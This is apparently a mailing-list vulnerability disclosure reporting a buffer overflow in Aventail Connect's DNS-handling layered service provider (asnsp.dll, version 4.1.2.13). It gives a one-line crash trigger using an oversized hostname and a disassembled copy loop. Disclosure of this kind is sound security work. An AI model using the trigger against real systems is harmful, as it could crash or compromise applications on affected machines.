Hello,<br><br>Aventail Connect registers a layered service provider to handle DNS queries.<br>When resolving a hostname the software fails to check string boundaries properly.<br>As the lsp intercepts all ws2_32 dns lookups every application performing these operations is vulnerable.
<br><br>e.g.<br><br>$ ssh $(perl -e 'print "a"x2200')<br>Segmentation fault (core dumped)<br><br>vulnerable copy loop in asnsp.dll:<br><br>18B539F2 41 INC ECX<br>18B539F3 41 INC ECX
<br>18B539F4 66:85D2 TEST DX,DX<br>18B539F7 74 0A JE SHORT asnsp.18B53A03<br>18B539F9 66:8B11 MOV DX,WORD PTR DS:[ECX]<br>18B539FC 66:8916 MOV WORD PTR DS:[ESI],DX<br>18B539FF 46 INC ESI
<br>18B53A00 46 INC ESI<br>18B53A01 ^EB EF JMP SHORT asnsp.18B539F2<br><br>This was tested on version <a href="http://4.1.2.13">4.1.2.13</a>.<br>vendor: <a href="http://www.aventail.com/">
http://www.aventail.com/</a><br><br>Regards,<br>Thomas Pollet<br><br>